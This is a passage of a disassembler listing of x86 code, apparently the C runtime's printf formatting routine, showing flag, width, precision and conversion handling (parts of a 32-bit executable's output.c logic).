		call	sub_4263E0
		add	esp, 0Ch


loc_42093E:				; CODE XREF: sub_420720+1D4j
					; sub_420720+20Cj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_420969
; ---------------------------------------------------------------------------


loc_42094B:				; CODE XREF: sub_420720+14Dj
		mov	[ebp+var_4], 1
		mov	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_426840
		add	esp, 0Ch
		mov	[ebp+var_C], eax


loc_420969:				; CODE XREF: sub_420720+229j
		mov	edx, [ebp+var_C]
		cmp	edx, [ebp+var_4]
		jz	short loc_420985
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		or	ecx, 20h
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_42098D
; ---------------------------------------------------------------------------


loc_420985:				; CODE XREF: sub_420720+24Fj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh


loc_42098D:				; CODE XREF: sub_420720+70j
					; sub_420720+C7j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_420720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4209A0	proc near		; CODE XREF: sub_417CB0+9Ap
					; sub_417E80+99p ...

var_2A6		= word ptr -2A6h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= byte ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= word ptr -248h
var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_23F		= byte ptr -23Fh
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= byte ptr -228h
var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2A8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_24], 0
		mov	[ebp+var_22C], 0
		mov	[ebp+var_18], 0


loc_4209C4:				; CODE XREF: sub_4209A0:loc_4215B2j
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_28], cl
		movsx	edx, byte ptr [ebp+var_28]
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		test	edx, edx
		jz	loc_4215B7
		cmp	[ebp+var_22C], 0
		jl	loc_4215B7
		movsx	ecx, byte ptr [ebp+var_28]
		cmp	ecx, 20h
		jl	short loc_420A16
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 78h
		jg	short loc_420A16
		movsx	eax, byte ptr [ebp+var_28]
		movsx	ecx, byte ptr [eax+4350D8h]
		and	ecx, 0Fh
		mov	[ebp+var_290], ecx
		jmp	short loc_420A20
; ---------------------------------------------------------------------------


loc_420A16:				; CODE XREF: sub_4209A0+55j
					; sub_4209A0+5Ej
		mov	[ebp+var_290], 0


loc_420A20:				; CODE XREF: sub_4209A0+74j
		mov	edx, [ebp+var_290]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_18]
		movsx	edx, byte_4350F8[ecx+eax*8]
		sar	edx, 4
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		mov	[ebp+var_294], eax
		cmp	[ebp+var_294], 7
		ja	loc_4215B2
		mov	ecx, [ebp+var_294]
		jmp	off_4215C4[ecx*4]


loc_420A60:				; CODE XREF: sub_4209A0+332j
					; DATA XREF: .data:off_4215C4o
		mov	[ebp+var_1C], 0
		mov	edx, [ebp+var_28]
		and	edx, 0FFh
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_420ADD
		lea	edx, [ebp+var_22C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		movsx	ecx, byte ptr [ebp+var_28]
		push	ecx
		call	sub_4216D0
		add	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_28], al
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx


loc_420AAE:				; CODE XREF: sub_4209A0+13Bj
		movsx	edx, byte ptr [ebp+var_28]
		test	edx, edx
		jnz	short loc_420AD7
		push	offset aCh_t0	; "ch != _T('\\0')"
		push	0
		push	186h
		push	offset aOutput_c ; "output.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_420AD7
		int	3		; Trap to Debugger


loc_420AD7:				; CODE XREF: sub_4209A0+114j
					; sub_4209A0+134j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420AAE


loc_420ADD:				; CODE XREF: sub_4209A0+E3j
		lea	ecx, [ebp+var_22C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		movsx	eax, byte ptr [ebp+var_28]
		push	eax
		call	sub_4216D0
		add	esp, 0Ch
		jmp	loc_4215B2
; ---------------------------------------------------------------------------


loc_420AFA:				; CODE XREF: sub_4209A0+B9j
					; DATA XREF: .data:004215C8o
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_23C], ecx
		mov	edx, [ebp+var_23C]
		mov	[ebp+var_244], edx
		mov	eax, [ebp+var_244]
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 0
		mov	[ebp+var_234], 0FFFFFFFFh
		mov	[ebp+var_1C], 0
		jmp	loc_4215B2
; ---------------------------------------------------------------------------


loc_420B3C:				; CODE XREF: sub_4209A0+B9j
					; DATA XREF: .data:004215CCo
		movsx	ecx, byte ptr [ebp+var_28]
		mov	[ebp+var_298], ecx
		mov	edx, [ebp+var_298]
		sub	edx, 20h
		mov	[ebp+var_298], edx
		cmp	[ebp+var_298], 10h
		ja	short loc_420BA6
		mov	ecx, [ebp+var_298]
		xor	eax, eax
		mov	al, byte_4215FC[ecx]
		jmp	off_4215E4[eax*4]


loc_420B73:				; CODE XREF: sub_4209A0+B9j
					; DATA XREF: .data:004215F0o
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------


loc_420B7E:				; CODE XREF: sub_4209A0+B9j
					; sub_4209A0+1CCj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------


loc_420B88:				; CODE XREF: sub_4209A0+B9j
					; sub_4209A0+1CCj
					; DATA XREF: ...
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------


loc_420B93:				; CODE XREF: sub_4209A0+B9j
					; sub_4209A0+1CCj
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		or	dl, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------


loc_420B9E:				; CODE XREF: sub_4209A0+B9j
					; sub_4209A0+1CCj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_420BA6:				; CODE XREF: sub_4209A0+B9j
					; sub_4209A0+1BCj ...
		jmp	loc_4215B2
; ---------------------------------------------------------------------------


loc_420BAB:				; CODE XREF: sub_4209A0+B9j
					; DATA XREF: .data:004215D0o
		movsx	ecx, byte ptr [ebp+var_28]
		cmp	ecx, 2Ah
		jnz	short loc_420BE7
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_4217E0
		add	esp, 4
		mov	[ebp+var_244], eax
		cmp	[ebp+var_244], 0
		jge	short loc_420BE5
		mov	eax, [ebp+var_4]
		or	al, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_244]
		neg	ecx
		mov	[ebp+var_244], ecx


loc_420BE5:				; CODE XREF: sub_4209A0+22Dj
		jmp	short loc_420BFE
; ---------------------------------------------------------------------------


loc_420BE7:				; CODE XREF: sub_4209A0+212j
		mov	edx, [ebp+var_244]
		imul	edx, 0Ah
		movsx	eax, byte ptr [ebp+var_28]
		lea	ecx, [edx+eax-30h]
		mov	[ebp+var_244], ecx


loc_420BFE:				; CODE XREF: sub_4209A0:loc_420BE5j
		jmp	loc_4215B2
; ---------------------------------------------------------------------------


loc_420C03:				; CODE XREF: sub_4209A0+B9j
					; DATA XREF: .data:004215D4o
		mov	[ebp+var_234], 0
		jmp	loc_4215B2
; ---------------------------------------------------------------------------


loc_420C12:				; CODE XREF: sub_4209A0+B9j
					; DATA XREF: .data:004215D8o
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 2Ah
		jnz	short loc_420C42
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4217E0
		add	esp, 4
		mov	[ebp+var_234], eax
		cmp	[ebp+var_234], 0
		jge	short loc_420C40
		mov	[ebp+var_234], 0FFFFFFFFh


loc_420C40:				; CODE XREF: sub_4209A0+294j
		jmp	short loc_420C59
; ---------------------------------------------------------------------------


loc_420C42:				; CODE XREF: sub_4209A0+279j
		mov	ecx, [ebp+var_234]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_28]
		lea	eax, [ecx+edx-30h]
		mov	[ebp+var_234], eax


loc_420C59:				; CODE XREF: sub_4209A0:loc_420C40j
		jmp	loc_4215B2
; ---------------------------------------------------------------------------


loc_420C5E:				; CODE XREF: sub_4209A0+B9j
					; DATA XREF: .data:004215DCo
		movsx	ecx, byte ptr [ebp+var_28]
		mov	[ebp+var_29C], ecx
		mov	edx, [ebp+var_29C]
		sub	edx, 49h
		mov	[ebp+var_29C], edx
		cmp	[ebp+var_29C], 2Eh
		ja	short loc_420CEC
		mov	ecx, [ebp+var_29C]
		xor	eax, eax
		mov	al, byte_421621[ecx]
		jmp	off_42160D[eax*4]


loc_420C95:				; DATA XREF: .data:00421615o
		mov	edx, [ebp+var_4]
		or	edx, 10h
		mov	[ebp+var_4], edx
		jmp	short loc_420CEC
; ---------------------------------------------------------------------------


loc_420CA0:				; CODE XREF: sub_4209A0+2EEj
					; DATA XREF: .data:off_42160Do
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 36h
		jnz	short loc_420CCB
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 34h
		jnz	short loc_420CCB
		mov	ecx, [ebp+arg_4]
		add	ecx, 2
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+var_4]
		or	dh, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_420CD7
; ---------------------------------------------------------------------------


loc_420CCB:				; CODE XREF: sub_4209A0+309j
					; sub_4209A0+315j
		mov	[ebp+var_18], 0
		jmp	loc_420A60
; ---------------------------------------------------------------------------


loc_420CD7:				; CODE XREF: sub_4209A0+329j
		jmp	short loc_420CEC
; ---------------------------------------------------------------------------


loc_420CD9:				; CODE XREF: sub_4209A0+2EEj
					; DATA XREF: .data:00421611o
		mov	eax, [ebp+var_4]
		or	al, 20h
		mov	[ebp+var_4], eax
		jmp	short loc_420CEC
; ---------------------------------------------------------------------------


loc_420CE3:				; CODE XREF: sub_4209A0+2EEj
					; DATA XREF: .data:00421619o
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx


loc_420CEC:				; CODE XREF: sub_4209A0+2DEj
					; sub_4209A0+2EEj ...
		jmp	loc_4215B2
; ---------------------------------------------------------------------------


loc_420CF1:				; CODE XREF: sub_4209A0+B9j
					; DATA XREF: .data:004215E0o
		movsx	edx, byte ptr [ebp+var_28]
		mov	[ebp+var_2A0], edx
		mov	eax, [ebp+var_2A0]
		sub	eax, 43h
		mov	[ebp+var_2A0], eax
		cmp	[ebp+var_2A0], 35h
		ja	loc_4213D7
		mov	edx, [ebp+var_2A0]
		xor	ecx, ecx
		mov	cl, byte_42168C[edx]
		jmp	off_421650[ecx*4]


loc_420D2C:				; DATA XREF: .data:off_421650o
		mov	eax, [ebp+var_4]
		and	eax, 830h
		test	eax, eax
		jnz	short loc_420D41
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx


loc_420D41:				; CODE XREF: sub_4209A0+385j
					; sub_4209A0+396j
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		and	edx, 810h
		test	edx, edx
		jz	short loc_420D87
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_421820
		add	esp, 4
		mov	[ebp+var_14], ax
		mov	cx, [ebp+var_14]
		push	ecx
		lea	edx, [ebp+var_228]
		push	edx
		call	sub_42A3D0
		add	esp, 8
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jge	short loc_420D85
		mov	[ebp+var_23C], 1


loc_420D85:				; CODE XREF: sub_4209A0+3D9j
		jmp	short loc_420DAD
; ---------------------------------------------------------------------------


loc_420D87:				; CODE XREF: sub_4209A0+3ACj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4217E0
		add	esp, 4
		mov	[ebp+var_248], ax
		mov	cl, byte ptr [ebp+var_248]
		mov	[ebp+var_228], cl
		mov	[ebp+var_24], 1


loc_420DAD:				; CODE XREF: sub_4209A0:loc_420D85j
		lea	edx, [ebp+var_228]
		mov	[ebp+var_20], edx
		jmp	loc_4213D7
; ---------------------------------------------------------------------------


loc_420DBB:				; CODE XREF: sub_4209A0+385j
					; DATA XREF: .data:00421660o
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4217E0
		add	esp, 4
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0
		jz	short loc_420DE2
		mov	ecx, [ebp+var_24C]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_420DFC


loc_420DE2:				; CODE XREF: sub_4209A0+434j
		mov	edx, off_447490
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	[ebp+var_24], eax
		jmp	short loc_420E4B
; ---------------------------------------------------------------------------


loc_420DFC:				; CODE XREF: sub_4209A0+440j
		mov	ecx, [ebp+var_4]
		and	ecx, 800h
		test	ecx, ecx
		jz	short loc_420E2C
		mov	edx, [ebp+var_24C]
		mov	eax, [edx+4]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_24C]
		movsx	edx, word ptr [ecx]
		shr	edx, 1
		mov	[ebp+var_24], edx
		mov	[ebp+var_1C], 1
		jmp	short loc_420E4B
; ---------------------------------------------------------------------------


loc_420E2C:				; CODE XREF: sub_4209A0+467j
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_24C]
		mov	ecx, [eax+4]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_24C]
		movsx	eax, word ptr [edx]
		mov	[ebp+var_24], eax


loc_420E4B:				; CODE XREF: sub_4209A0+45Aj
					; sub_4209A0+48Aj
		jmp	loc_4213D7
; ---------------------------------------------------------------------------


loc_420E50:				; CODE XREF: sub_4209A0+385j
					; DATA XREF: .data:00421658o
		mov	ecx, [ebp+var_4]
		and	ecx, 830h
		test	ecx, ecx
		jnz	short loc_420E66
		mov	edx, [ebp+var_4]
		or	dh, 8
		mov	[ebp+var_4], edx


loc_420E66:				; CODE XREF: sub_4209A0+385j
					; sub_4209A0+4BBj
					; DATA XREF: ...
		cmp	[ebp+var_234], 0FFFFFFFFh
		jnz	short loc_420E7B
		mov	[ebp+var_2A4], 7FFFFFFFh
		jmp	short loc_420E87
; ---------------------------------------------------------------------------


loc_420E7B:				; CODE XREF: sub_4209A0+4CDj
		mov	eax, [ebp+var_234]
		mov	[ebp+var_2A4], eax


loc_420E87:				; CODE XREF: sub_4209A0+4D9j
		mov	ecx, [ebp+var_2A4]
		mov	[ebp+var_258], ecx
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_4217E0
		add	esp, 4
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_4]
		and	eax, 810h
		test	eax, eax
		jz	short loc_420F16
		cmp	[ebp+var_20], 0
		jnz	short loc_420EBD
		mov	ecx, off_447494
		mov	[ebp+var_20], ecx


loc_420EBD:				; CODE XREF: sub_4209A0+512j
		mov	[ebp+var_1C], 1
		mov	edx, [ebp+var_20]
		mov	[ebp+var_254], edx


loc_420ECD:				; CODE XREF: sub_4209A0+564j
		mov	eax, [ebp+var_258]
		mov	ecx, [ebp+var_258]
		sub	ecx, 1
		mov	[ebp+var_258], ecx
		test	eax, eax
		jz	short loc_420F06
		mov	edx, [ebp+var_254]
		xor	eax, eax
		mov	ax, [edx]
		test	eax, eax
		jz	short loc_420F06
		mov	ecx, [ebp+var_254]
		add	ecx, 2
		mov	[ebp+var_254], ecx
		jmp	short loc_420ECD
; ---------------------------------------------------------------------------


loc_420F06:				; CODE XREF: sub_4209A0+544j
					; sub_4209A0+553j
		mov	edx, [ebp+var_254]
		sub	edx, [ebp+var_20]
		sar	edx, 1
		mov	[ebp+var_24], edx
		jmp	short loc_420F70
; ---------------------------------------------------------------------------


loc_420F16:				; CODE XREF: sub_4209A0+50Cj
		cmp	[ebp+var_20], 0
		jnz	short loc_420F24
		mov	eax, off_447490
		mov	[ebp+var_20], eax


loc_420F24:				; CODE XREF: sub_4209A0+57Aj
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_250], ecx


loc_420F2D:				; CODE XREF: sub_4209A0+5C2j
		mov	edx, [ebp+var_258]
		mov	eax, [ebp+var_258]
		sub	eax, 1
		mov	[ebp+var_258], eax
		test	edx, edx
		jz	short loc_420F64
		mov	ecx, [ebp+var_250]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_420F64
		mov	eax, [ebp+var_250]
		add	eax, 1
		mov	[ebp+var_250], eax
		jmp	short loc_420F2D
; ---------------------------------------------------------------------------


loc_420F64:				; CODE XREF: sub_4209A0+5A4j
					; sub_4209A0+5B1j
		mov	ecx, [ebp+var_250]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx


loc_420F70:				; CODE XREF: sub_4209A0+574j
		jmp	loc_4213D7
; ---------------------------------------------------------------------------


loc_420F75:				; CODE XREF: sub_4209A0+385j
					; DATA XREF: .data:00421670o
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_4217E0
		add	esp, 4
		mov	[ebp+var_25C], eax
		mov	eax, [ebp+var_4]
		and	eax, 20h
		test	eax, eax
		jz	short loc_420FA3
		mov	ecx, [ebp+var_25C]
		mov	dx, word ptr [ebp+var_22C]
		mov	[ecx], dx
		jmp	short loc_420FB1
; ---------------------------------------------------------------------------


loc_420FA3:				; CODE XREF: sub_4209A0+5EFj
		mov	eax, [ebp+var_25C]
		mov	ecx, [ebp+var_22C]
		mov	[eax], ecx


loc_420FB1:				; CODE XREF: sub_4209A0+601j
		mov	[ebp+var_23C], 1
		jmp	loc_4213D7
; ---------------------------------------------------------------------------


loc_420FC0:				; CODE XREF: sub_4209A0+385j
					; DATA XREF: .data:00421654o
		mov	[ebp+var_8], 1
		mov	dl, byte ptr [ebp+var_28]
		add	dl, 20h
		mov	byte ptr [ebp+var_28], dl


loc_420FD0:				; CODE XREF: sub_4209A0+385j
					; DATA XREF: .data:0042166Co
		mov	eax, [ebp+var_4]
		or	al, 40h
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_228]
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_234], 0
		jge	short loc_420FF6
		mov	[ebp+var_234], 6
		jmp	short loc_421012
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_4209A0+648j
		cmp	[ebp+var_234], 0
		jnz	short loc_421012
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 67h
		jnz	short loc_421012
		mov	[ebp+var_234], 1


loc_421012:				; CODE XREF: sub_4209A0+654j
					; sub_4209A0+65Dj ...
		mov	eax, [ebp+arg_8]
		add	eax, 8
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_8]
		sub	ecx, 8
		mov	edx, [ecx]
		mov	eax, [ecx+4]
		mov	[ebp+var_264], edx
		mov	[ebp+var_260], eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_234]
		push	edx
		movsx	eax, byte ptr [ebp+var_28]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		lea	edx, [ebp+var_264]
		push	edx
		call	off_447838
		add	esp, 14h
		mov	eax, [ebp+var_4]
		and	eax, 80h
		test	eax, eax
		jz	short loc_421078
		cmp	[ebp+var_234], 0
		jnz	short loc_421078
		mov	ecx, [ebp+var_20]
		push	ecx
		call	off_447844
		add	esp, 4


loc_421078:				; CODE XREF: sub_4209A0+6C0j
					; sub_4209A0+6C9j
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 67h
		jnz	short loc_42109A
		mov	eax, [ebp+var_4]
		and	eax, 80h
		test	eax, eax
		jnz	short loc_42109A
		mov	ecx, [ebp+var_20]
		push	ecx
		call	off_44783C
		add	esp, 4


loc_42109A:				; CODE XREF: sub_4209A0+6DFj
					; sub_4209A0+6EBj
		mov	edx, [ebp+var_20]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Dh
		jnz	short loc_4210B7
		mov	ecx, [ebp+var_4]
		or	ch, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_4210B7:				; CODE XREF: sub_4209A0+703j
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	[ebp+var_24], eax
		jmp	loc_4213D7
; ---------------------------------------------------------------------------


loc_4210CB:				; CODE XREF: sub_4209A0+385j
		mov	ecx, [ebp+var_4]
		or	ecx, 40h
		mov	[ebp+var_4], ecx
		mov	[ebp+var_238], 0Ah
		jmp	loc_421165
; ---------------------------------------------------------------------------


loc_4210E3:				; CODE XREF: sub_4209A0+385j
					; DATA XREF: .data:00421680o
		mov	[ebp+var_238], 0Ah
		jmp	short loc_421165
; ---------------------------------------------------------------------------


loc_4210EF:				; CODE XREF: sub_4209A0+385j
					; DATA XREF: .data:00421678o
		mov	[ebp+var_234], 8


loc_4210F9:				; CODE XREF: sub_4209A0+385j
					; DATA XREF: .data:0042165Co
		mov	[ebp+var_230], 7
		jmp	short loc_42110F
; ---------------------------------------------------------------------------


loc_421105:				; CODE XREF: sub_4209A0+385j
					; DATA XREF: .data:00421684o
		mov	[ebp+var_230], 27h


loc_42110F:				; CODE XREF: sub_4209A0+763j
		mov	[ebp+var_238], 10h
		mov	edx, [ebp+var_4]
		and	edx, 80h
		test	edx, edx
		jz	short loc_421143
		mov	[ebp+var_240], 30h
		mov	eax, [ebp+var_230]
		add	eax, 51h
		mov	[ebp+var_23F], al
		mov	[ebp+var_10], 2


loc_421143:				; CODE XREF: sub_4209A0+784j
		jmp	short loc_421165
; ---------------------------------------------------------------------------


loc_421145:				; CODE XREF: sub_4209A0+385j
					; DATA XREF: .data:00421674o
		mov	[ebp+var_238], 8
		mov	ecx, [ebp+var_4]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_421165
		mov	edx, [ebp+var_4]
		or	dh, 2
		mov	[ebp+var_4], edx


loc_421165:				; CODE XREF: sub_4209A0+73Ej
					; sub_4209A0+74Dj ...
		mov	eax, [ebp+var_4]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_42118E
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_421800
		add	esp, 4
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	loc_42121F
; ---------------------------------------------------------------------------


loc_42118E:				; CODE XREF: sub_4209A0+7CFj
		mov	edx, [ebp+var_4]
		and	edx, 20h
		test	edx, edx
		jz	short loc_4211E0
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_4211C0
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_4217E0
		add	esp, 4
		movsx	eax, ax
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	short loc_4211DE
; ---------------------------------------------------------------------------


loc_4211C0:				; CODE XREF: sub_4209A0+800j
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_4217E0
		add	esp, 4
		and	eax, 0FFFFh
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx


loc_4211DE:				; CODE XREF: sub_4209A0+81Ej
		jmp	short loc_42121F
; ---------------------------------------------------------------------------


loc_4211E0:				; CODE XREF: sub_4209A0+7F6j
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_421205
		lea	ecx, [ebp+arg_8]
		push	ecx
		call	sub_4217E0
		add	esp, 4
		cdq
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], edx
		jmp	short loc_42121F
; ---------------------------------------------------------------------------


loc_421205:				; CODE XREF: sub_4209A0+848j
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_4217E0
		add	esp, 4
		xor	ecx, ecx
		mov	[ebp+var_278], eax
		mov	[ebp+var_274], ecx


loc_42121F:				; CODE XREF: sub_4209A0+7E9j
					; sub_4209A0:loc_4211DEj ...
		mov	edx, [ebp+var_4]
		and	edx, 40h
		test	edx, edx
		jz	short loc_421267
		cmp	[ebp+var_274], 0
		jg	short loc_421267
		jl	short loc_42123D
		cmp	[ebp+var_278], 0
		jnb	short loc_421267


loc_42123D:				; CODE XREF: sub_4209A0+892j
		mov	eax, [ebp+var_278]
		neg	eax
		mov	ecx, [ebp+var_274]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], ecx
		mov	edx, [ebp+var_4]
		or	dh, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42127F
; ---------------------------------------------------------------------------


loc_421267:				; CODE XREF: sub_4209A0+887j
					; sub_4209A0+890j ...
		mov	eax, [ebp+var_278]
		mov	[ebp+var_26C], eax
		mov	ecx, [ebp+var_274]
		mov	[ebp+var_268], ecx


loc_42127F:				; CODE XREF: sub_4209A0+8C5j
		mov	edx, [ebp+var_4]
		and	edx, 8000h
		test	edx, edx
		jnz	short loc_4212A7
		mov	eax, [ebp+var_26C]
		mov	ecx, [ebp+var_268]
		and	ecx, 0
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], ecx


loc_4212A7:				; CODE XREF: sub_4209A0+8EAj
		cmp	[ebp+var_234], 0
		jge	short loc_4212BC
		mov	[ebp+var_234], 1
		jmp	short loc_4212C5
; ---------------------------------------------------------------------------


loc_4212BC:				; CODE XREF: sub_4209A0+90Ej
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFF7h
		mov	[ebp+var_4], edx


loc_4212C5:				; CODE XREF: sub_4209A0+91Aj
		mov	eax, [ebp+var_26C]
		or	eax, [ebp+var_268]
		test	eax, eax
		jnz	short loc_4212DC
		mov	[ebp+var_10], 0


loc_4212DC:				; CODE XREF: sub_4209A0+933j
		lea	ecx, [ebp+var_29]
		mov	[ebp+var_20], ecx


loc_4212E2:				; CODE XREF: sub_4209A0+9EBj
		mov	edx, [ebp+var_234]
		mov	eax, [ebp+var_234]
		sub	eax, 1
		mov	[ebp+var_234], eax
		test	edx, edx
		jg	short loc_42130F
		mov	ecx, [ebp+var_26C]
		or	ecx, [ebp+var_268]
		test	ecx, ecx
		jz	loc_421390


loc_42130F:				; CODE XREF: sub_4209A0+959j
		mov	eax, [ebp+var_238]
		cdq
		push	edx
		push	eax
		mov	edx, [ebp+var_268]
		push	edx
		mov	eax, [ebp+var_26C]
		push	eax
		call	sub_41A4A0
		add	eax, 30h
		mov	[ebp+var_270], eax
		mov	eax, [ebp+var_238]
		cdq
		push	edx
		push	eax
		mov	ecx, [ebp+var_268]
		push	ecx
		mov	edx, [ebp+var_26C]
		push	edx
		call	sub_41A430
		mov	[ebp+var_26C], eax
		mov	[ebp+var_268], edx
		cmp	[ebp+var_270], 39h
		jle	short loc_421377
		mov	eax, [ebp+var_270]
		add	eax, [ebp+var_230]
		mov	[ebp+var_270], eax


loc_421377:				; CODE XREF: sub_4209A0+9C3j
		mov	ecx, [ebp+var_20]
		mov	dl, byte ptr [ebp+var_270]
		mov	[ecx], dl
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		jmp	loc_4212E2
; ---------------------------------------------------------------------------


loc_421390:				; CODE XREF: sub_4209A0+969j
		lea	ecx, [ebp+var_29]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_4]
		and	eax, 200h
		test	eax, eax
